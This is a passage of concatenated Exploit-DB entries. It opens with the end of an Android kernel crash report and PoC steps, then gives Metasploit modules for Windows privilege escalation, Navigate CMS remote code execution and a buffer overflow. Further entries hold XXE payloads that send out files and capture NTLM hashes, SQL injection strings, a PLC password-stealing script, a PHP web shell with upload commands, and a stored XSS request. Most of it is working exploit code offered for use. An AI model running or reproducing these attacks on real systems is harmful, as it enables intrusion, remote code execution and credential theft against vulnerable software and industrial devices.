[  997.011357] c7   1718 [<ffffff9f4da00dd0>] do_vfs_ioctl+0x434/0x884
[  997.011361] c7   1718 [<ffffff9f4da012a8>] SyS_ioctl+0x88/0x94
[  997.011367] c7   1718 [<ffffff9f4d883b0c>] __sys_trace_return+0x0/0x4
[  997.011373] c7   1718 Code: f9400135 b4000bb5 b98022c9 9100210b (f8696ab8) 
[  997.011417] c7   1718 ---[ end trace aea07a0c0fb86e0d ]---
[  997.015389] c7   1718 Kernel panic - not syncing: Fatal exception
================================================================================

Note that another possible way in which the memory corruption can happen is
corruption of a spinlock - in that case, the phone won't panic, but messages
about a soft kernel lockup will start appearing in dmesg after some time.
Experimentally, that seems to happen if the chaos_worker thread is removed from
the PoC.



I have verified that this bug can also be triggered from a normal Android app.
To reproduce that, follow these steps:

 - install https://play.google.com/store/apps/details?id=org.connectbot on the
   phone
 - run "adb shell mkdir /sdcard/Android/data/org.connectbot"
 - run "/usr/local/google/home/jannh/my-android-toolchain/bin/aarch64-linux-android-gcc -static -o poc poc.c -pthread"
 - run "adb push poc /sdcard/Android/data/org.connectbot/"
 - on the phone, open a local terminal in connectbot
 - in the terminal:
       $ cd /data/data/org.connectbot
       $ cp /sdcard/Android/data/org.connectbot/poc .
       $ chmod +x poc
       $ ./poc


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45558.zip
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/reflective_dll_injection'

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'Windows Net-NTLMv2 Reflection DCOM/RPC',
      'Description'    => %q(
        Module utilizes the Net-NTLMv2 reflection between DCOM/RPC
        to achieve a SYSTEM handle for elevation of privilege. Currently the module
        does not spawn as SYSTEM, however once achieving a shell, one can easily
        use incognito to impersonate the token.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'FoxGloveSec', # the original Potato exploit
          'breenmachine', # Rotten Potato NG!
          'Mumbai' # Austin : port of RottenPotato for reflection & quick module
        ],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Platform'       => 'win',
      'SessionTypes'   => ['meterpreter'],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'none',
          'WfsDelay' => '20'
        },
      'Targets'        =>
        [
          ['Automatic', {}],
          ['Windows x86', { 'Arch' => ARCH_X86 }],
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
      'Payload'         =>
        {
          'DisableNops' => true
        },
      'References'      =>
        [
          ['MSB', 'MS16-075'],
          ['CVE', '2016-3225'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
          ['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
          ['URL', 'https://github.com/breenmachine/RottenPotatoNG']
        ],
      'DisclosureDate' => 'Jan 16 2016',
      'DefaultTarget'  => 0
    }))
  end

  def assign_target
    if target.name == 'Automatic'
      case sysinfo["Architecture"]
      when 'x86'
        vprint_status("Found we are on an x86 target")
        my_target = targets[1]
      when 'x64'
        vprint_status("Found we are on an x64 target")
        my_target = targets[2]
      else
        fail_with(Failure::NoTarget, "Unable to determine target")
      end
    else
      my_target = target
    end
    return my_target
  end

  def verify_arch(my_target)
    if my_target["Arch"] != sysinfo["Architecture"]
      print_error("Assigned Target Arch = #{my_target.opts['Arch']}")
      print_error("Actual Target Arch = #{sysinfo['Architecture']}")
      fail_with(Failure::BadConfig, "Assigned Arch does not match reality")
    end
    if client.arch != sysinfo["Architecture"]
      fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported")
    else
      vprint_good("Current payload and target Arch match....")
    end
  end

  def check
    privs = client.sys.config.getprivs
    if privs.include?('SeImpersonatePrivilege')
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    my_target = assign_target
    print_status("#{my_target['Arch']}")
    verify_arch(my_target)
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege')
    end
    if my_target.opts['Arch'] == 'x64'
      dll_file_name = 'rottenpotato.x64.dll'
      vprint_status("Assigning payload rottenpotato.x64.dll")
    elsif my_target.opts['Arch'] == 'x86'
      dll_file_name = 'rottenpotato.x86.dll'
      vprint_status("Assigning payload rottenpotato.x86.dll")
    else
      fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
    end
    print_status('Launching notepad to host the exploit...')
    notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
    begin
      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
      print_good("Process #{process.pid} launched.")
    rescue Rex::Post::Meterpreter::RequestError
      print_error('Operation failed. Trying to elevate the current process...')
      process = client.sys.process.open
    end
    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
    library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name)
    library_path = ::File.expand_path(library_path)
    print_status("Injecting exploit into #{process.pid}...")
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    print_status("Exploit injected. Injecting payload into #{process.pid}...")
    payload_mem = inject_into_process(process, payload.encoded)
    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    print_status('Payload injected. Executing exploit...')
    process.thread.create(exploit_mem + offset, payload_mem)
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
      'Description' => %q(
        This module exploits insufficient sanitization in the database::protect
        method, of Navigate CMS versions 2.8 and prior, to bypass authentication.

        The module then uses a path traversal vulnerability in navigate_upload.php
        that allows authenticated users to upload PHP files to arbitrary locations.
        Together these vulnerabilities allow an unauthenticated attacker to
        execute arbitrary PHP code remotely.

        This module was tested against Navigate CMS 2.8.
      ),
      'Author' =>
        [
          'Pyriphlegethon' # Discovery / msf module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2018-17552'], # Authentication bypass
          ['CVE', '2018-17553']  # File upload
        ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => ARCH_PHP,
      'Targets' =>
        [
          ['Automatic', {}]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 26 2018'))

    register_options [
      OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
    ]
  end

  def login_bypass
    check_resp = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/login.php')
    )

    login_bypass_resp = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/login.php'),
      'cookie' => 'navigate-user=\" OR TRUE--%20'
    )

    if login_bypass_resp &&
       login_bypass_resp.code == 302 &&
       check_resp.body.include?('Navigate CMS')
      session_id = login_bypass_resp.get_cookies_parsed
                                    .values.select { |v| v.to_s.include?('NVSID_') }
                                    .first.first
      return session_id
    end
  end

  def check
    return CheckCode::Vulnerable if login_bypass
    CheckCode::Safe
  end

  def exploit
    session_id = login_bypass
    fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id

    print_good('Login bypass successful')

    php = payload.encoded
    data = Rex::MIME::Message.new
    data.add_part(php, 'image/jpeg', nil,
      "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
    data_post = data.to_s

    upload = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
      'vars_get' => Hash[{
        'session_id' => session_id,
        'engine' => 'picnik',
        'id' => '../../../navigate_info.php'
      }.to_a.shuffle],
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data_post
    )

    fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
    fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200

    print_good('Upload successful')

    print_status('Triggering payload...')
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
    )
  end

  def on_new_session(session)
    super
    if session.type != 'meterpreter'
      print_error('Unable to restore navigate_info.php')
      return
    end

    session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')

    begin
      session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
    rescue
      print_error('Unable to restore navigate_info.php')
    end
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
      'Description'    => %q{
       This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
       The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
       via Import from other File. This results in overwriting a structured exception handler record.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'f3ci',       # initial discovery
          'modpr0be'    # poc and Metasploit Module
        ],
      'References'      =>
        [
          [ 'CVE', '2018-17408' ],
          [ 'EDB', '45505' ]
        ],
      'Platform'        => 'win',
      'Targets'         =>
        [
          ['Zahir Enterprise Plus 6 <= build 10b',
            {
              #P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
              'Ret'     => 0x52016661,
              'Offset'  => 3041
            }
          ]
        ],
      'Payload'         =>
        {
          'Space'       => 5000,
          'BadChars'    => "\x00\x0a\x0d\x22\x2c",
          'DisableNops'     => true
        },
      'DisclosureDate'  => 'Sep 28 2018',
      'DefaultTarget'   => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
    ])
  end

  def exploit
    buf = rand_text_alpha_upper(target['Offset'])
    buf << "\r\n"   # crash chars
    buf << rand_text_alpha_upper(380) # extra chars to hit the offset
    buf << generate_seh_record(target.ret)
    buf << payload.encoded

    file_create(buf)
  end
end
            
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)	
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
# CVE: CVE-2018-8533
# References: 
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-REGSRVR-FILES-XML-INJECTION-CVE-2018-8533.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1133/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533) 

# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable 
# installations of Microsoft SQL Server Management Studio. User interaction is required to 
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of REGSRVR files. Due to the improper 
# restriction of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the 
# XML parser to access the URI and embed the contents back into the XML document for further processing.
# An attacker can leverage this vulnerability to disclose information in the context of the current process.

# Exploit/POC

# 1) python -m SimpleHTTPServer

# 2) "POC.xml"

<?xml version="1.0"?>
<!DOCTYPE injectme [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
            
# Exploit Title: E-Registrasi Pencak Silat 18.10 - 'id_partai' SQL Injection
# Exploit Author: Ihsan Sencan
# Dork: N/A
# Date: 2018-10-11
# Vendor Homepage: https://sourceforge.net/projects/eregistrasi-kejuaraan-silat/
# Software Link: https://sourceforge.net/projects/eregistrasi-kejuaraan-silat/files/latest/download
# Version: 18.10
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/nilai/monitor_nilai.php?id_partai=[SQL]
 
%31%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%4e%55%4c%4c%2c%4e%55%4c%4c%2c%43%4f%4e%43%41%54%28%28%53%45%4c%45%43%54%28%40%78%29%46%52%4f%4d%28%53%45%4c%45%43%54%28%40%78%3a%3d%30%78%30%30%29%20%2c%28%53%45%4c%45%43%54%28%40%78%29%46%52%4f%4d%28%61%64%6d%69%6e%29%57%48%45%52%45%28%40%78%29%49%4e%28%40%78%3a%3d%43%4f%4e%43%41%54%28%30%78%32%30%2c%40%78%2c%30%78%35%35%37%33%36%35%37%32%32%30%34%39%34%34%33%61%2c%75%73%65%72%49%64%2c%30%78%33%63%36%32%37%32%33%65%2c%30%78%35%35%37%33%36%35%37%32%36%65%36%31%36%64%36%35%33%61%2c%75%73%65%72%6e%61%6d%65%2c%30%78%33%63%36%32%37%32%33%65%35%30%36%31%37%33%37%33%33%61%2c%70%61%73%73%77%6f%72%64%2c%30%78%33%63%36%32%37%32%33%65%29%29%29%29%78%29%29%2d%2d
            
# Exploit Title: Phoenix Contact WebVisit 6.40.00 - Password Disclosure
# Exploit Author: Deneut Tijl
# Date: 2018-09-30
# Vendor Homepage: www.phoenixcontact.com
# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
# Version: WebVisit < 6.40.00
# CVE: CVE-2016-8366

# This script will perform retrieval of clear text credentials for a Phoenix Contact PLC with a WebVisit GUI, 
# password protected, application on it Tested on the Phoenix Contact ILC-390 PLC, but others are 
# surely equally vulnerable with WebVisit 6.40.00, the passwords are SHA256 hashes, which also will be retrieved
		
# Sample output:
# C:\Users\admin\Desktop>CVE-2016-8366.py
# Please enter an IP [192.168.1.200]:
# This is the password for userlevel 1: pw1
# This is the password for userlevel 2: SuperPass2
# This is the password for userlevel 3: Extreme2TheMax3
# This is the password for userlevel 4: PowerPass4
# Press Enter to exit

# PoC

#! /usr/bin/env python

import urllib2, binascii

strIP = raw_input('Please enter an IP [192.168.1.200]: ')
if strIP == '': strIP = '192.168.1.200'

try:
    URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': no response')
    raw_input('Press Enter to exit')
    exit()

strMainTEQ = ''
for line in URLResponse.readlines():
    if 'MainTEQName' in line:
        strMainTEQ = line.split('VALUE="')[1].split('"')[0]

if strMainTEQ == '':
    print('#### Error, no \'MainTEQ\' found on the main page')
    raw_input('Press Enter to exit')
    exit()

try:
    LoginTeqResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strMainTEQ))
except urllib2.HTTPError:
    print('Critical Error with IP ' + strIP + ': File \'' + strMainTEQ + '\' not found')
    raw_input('Press Enter to exit')
    exit()
strAlldata = ''
for line in LoginTeqResponse.readlines():
    strAlldata += binascii.hexlify(line)

## For vulnerable webvisit:
## Seems to be 'userLevel' + x bytes + 1 + y bytes + 'password'
## userLevel + '0506030001' + 31 + '00030003010301068300' + passlength + 'password'
## For WebVisit > 6.40.00
## userLevel + '0003000301030b06830040' + 'SHA256' (wich is 64 bytes)

arrData = strAlldata.split('757365724c6576656c0506030001') ## userLevel + '0506030001'
for item in arrData:
    if '00030003010301068300' in item:
        intUserlevel = int(binascii.unhexlify(item[:2]), 16) ## Turn str '31' into int 1
        strPassLength = item.split('00030003010301068300')[1][:2]
        strPassword = binascii.unhexlify(item.split('00030003010301068300')[1][2:2+(2*int(strPassLength,16))])
        print('This is the password for userlevel ' + str(intUserlevel) + ': ' + strPassword)
    elif '0003000301030b06830040' in item:
        intUserlevel = int(binascii.unhexlify(item[:2]), 16)
        strHash = binascii.unhexlify(item.split('0003000301030b06830040')[1][:64*2])
        print('This is the hash for userlevel ' + str(intUserlevel) + ': ' + strHash.lower())
raw_input('Press Enter to exit')
            
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)	
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
# CVE: CVE-2018-8527
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1131/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527) 

# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations 
# of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability 
# in that the target must visit a malicious page or open a malicious file.
# The specific flaw exists within the handling of XEL files. Due to the improper restriction 
# of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser 
# to access the URI and embed the contents back into the XML document for further processing. An attacker 
# can leverage this vulnerability to disclose information in the context of the current process.

# [Exploit/POC]

python -m SimpleHTTPServer (listens Port 8000)

"evil.xel" (Extended Event Log File)

<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

"payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# OR 
# Steal NTLM hashes
# Kali linux

/usr/share/responder/tools

responder -I eth0 -rv

"evil.xel"

<?xml version="1.0"?>
<!DOCTYPE dirty0tis [ 
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
%dtd;]>

Result: Forced authentication and NTLM hash captured
            
# Title: jQuery-File-Upload 9.22.0 - Arbitrary File Upload
# Author: Larry W. Cashdollar, @_larry0
# Date: 2018-10-09
# Vendor: https://github.com/blueimp
# Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
# CVE-ID: N/A

# Vulnerability:
# The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php 
# doesn't require any validation to upload files to the server.  It also doesn't exclude file types.  
# This allows for remote code execution.

# shell.php:
<?php $cmd=$_GET['cmd']; system($cmd);?>

# Exploit Code:
$ curl -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php


#!/bin/bash 



USERAGENT="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

PATHS=("server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php")

MALICIOUS_FILE="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n 1).php"



# What is added in this exploit from the original version

# - a bit of refactoring

# - automatically request the right filename if it already exists on server ex: 'file (1).php'

# - Try to detect plugin version,

# - Try to detect index.html (allowing files upload via gui)



# Checking curl & jq



curl -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install curl."

    echo "# apt install curl"

    exit 1

fi



jq -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install jq."

    echo "# apt install jq"

    exit 1

fi



# Checking url



if [ -z $1 ]; then

    echo "[!] Please supply a target host as an argument."

    echo "$0 http://www.example.com"

    exit 1

fi



# Generating payload



echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}

echo  "________________________________________________________________________________"

echo  "|PoC Exploit for Blueimp's jQuery File Uploader CVE-2018-9206"

echo  "|Checks for older versions of the code and upload an harmless file."

echo  "|"

echo  "| @_larry0, @phackt_ul"

echo  "|Works for version <= 9.22.0 and with Apache > 2.3.9 (AllowOverride None)."

echo  "---/"

echo

echo  "[+] Checking variations :"



# Creating alias



curl='curl --connect-timeout 10 -sk -A "${USERAGENT}"'



index=-1

found=0



# Looking for upload php class file



for x in ${PATHS[@]}; do

    echo "[*] Testing... -> $1/$x"

    ${curl} -i "$1/$x" | head -1 | grep 200 &>/dev/null



    if [ $? -eq 0 ]; then

        echo "[+] Found Path: $x"

        index=$((${index}+1))

        found=1

        break;

    fi;



    index=$((${index}+1))



done



# Determining the exploit path according to the jquery version



exploit_path=""



if [ ${index} -eq 0 -o ${index} -eq 2 ];then

    exploit_path="server/php/index.php"

fi



if [ ${index} -eq 1 ];then

    exploit_path="example/upload.php"

fi



if [ ${index} -eq 3 ];then

    exploit_path="php/index.php"

fi



if [ ${found} -ne 1 ]; then

    echo "[!] ### Error: A vulnerable jQuery-File-Upload plugin was not found!"

    exit 1

fi



# Trying to detect bower.json, package.json



version_files=("bower.json package.json")



for x in ${version_files[@]}; do

    version=`${curl} "$1/$x" | jq -r .version`

    if [ "X" != "X""${version}" ]; then

        echo "[!] Found: Plugin version ${version}"

        break;

    fi

done



# Trying to detect index.html



${curl} "$1/index.html" | grep -i "jquery file upload" &>/dev/null



if [ $? -eq 0 ]; then

    echo "[!] Found: $1/index.html is accessible"

fi



# Uploading payload



res=""

echo "[+] Running ${curl} -F \"files[]=@${MALICIOUS_FILE}\" -F \"filename=${MALICIOUS_FILE}\" \"$1/${exploit_path}\""



filename=`${curl} -F "files[]=@${MALICIOUS_FILE}" -F "filename=${MALICIOUS_FILE}" "$1/${exploit_path}" | jq -r .files[].name`



if [ "X""${filename}" == "X" ]; then

    echo "[!] It seems that we had a false positive! :("

    exit 1

fi



filename=`echo "$filename" | sed 's/ /%20/g'`



# Trying to see if victim has been exploited



echo "[+] Testing path: $1/$(dirname ${exploit_path})/files/${filename}"

res=`${curl} "$1/$(dirname ${exploit_path})/files/${filename}"`



if [ "${res}" == "it works" ]; then

    echo "[!] Found: $1 is vulnerable"

else

    echo "[+] Seems not vulnerable :("

fi



rm -f "${MALICIOUS_FILE}" &>/dev/null
            
# Exploit Title: LUYA CMS 1.0.12 - Cross-Site Scripting
# Date: 2018-10-11 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://luya.io/
# Software Link : https://github.com/luyadev/luya/
# Software : LUYA CMS
# Version : 1.0.12
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# HTTP POST Request :
 
POST /admin/api-cms-nav/create-page HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/en/admin
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer 53431c6c5c751d6655966396667a70cbf483bc2869ce1b45cecb5be8983d6fa08o5E7gSdThq_KprALbv_-r496se-lhLi
X-CSRF-Token: vHqCboMdLTmKiufTdIrCcdmFAhmahRSLihW4CuJKQprpGNID4nZPd8njkYkO7Igpi-RFKfDgf8LTcOp4mhB34A==
Content-Length: 295
Cookie: _pk_id.1.2c3a=0f1464d36bad1760.1539204750.1.1539204750.1539204750.; _pk_ref.1.2c3a=%5B%22%22%2C%22%22%2C1539204750%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D; PHPSESSID=pm9625erik3t3ddkqmql8nb0u1; _csrf_admin=b5e1f46c449881bd2d16dd32fcd2d2e02579c1a19bc7e233396e4bac99665c23a%3A2%3A%7Bi%3A0%3Bs%3A11%3A%22_csrf_admin%22%3Bi%3A1%3Bs%3A32%3A%22DxmjAB6ItiORW07BdnHjOXGhutdrmcx_%22%3B%7D
Connection: close

isInline=false&nav_item_type=1&parent_nav_id=0&is_draft=0&nav_container_id=1&lang_id=1&use_draft=0&layout_id=2&from_draft_id=0&title=%22%3E%3Cscript%3Ealert(%22Ismail%20Tasdelen%22)%3C%2Fscript%3E&alias=url-address-test&description=%22%3E%3Cscript%3Ealert(%22Ismail%20Tasdelen%22)%3C%2Fscript%3E
            
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)	
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
# CVE: CVE-2018-8532
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XMLA-FILETYPE-XML-INJECTION-CVE-2018-8532.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1132/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532) 
# so this is marked as verified

# Security Issue
# This vulnerability allows remote attackers to disclose sensitive information on 
# vulnerable installations of Microsoft SQL Server Management Studio. User interaction is required to 
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of XMLA files. Due to the improper restriction of 
# XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser to 
# access the URI and embed the contents back into the XML document for further processing. An attacker can leverage 
# this vulnerability to disclose information in the context of the current process.

# PoC
# 1) python -m SimpleHTTPServer
# 2) "test.xmla"

<?xml version="1.0"?>
<!DOCTYPE tastyexploits [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
            
# Exploit Title: HaPe PKH 1.1 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.sitejo.id
# Software Link: https://sourceforge.net/projects/hape-pkh/files/latest/download
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# # 1) Everyone
# POST http://localhost/[PATH]/lap-anggota-kelompok-pdf.php HTTP/1.1

nama_kelompok=%27%20%41%4e%44%20%28%53%45%4c%45%43%54%20%2a%20%46%52%4f%4d%20%28%53%45%4c%45%43%54%28%53%4c%45%45%50%28%35%29%29%29%58%29%2d%2d%20%58
 
# 2) Everyone
# POST http://localhost/hape-pkh/lap-peserta-perdesa-pdf.php

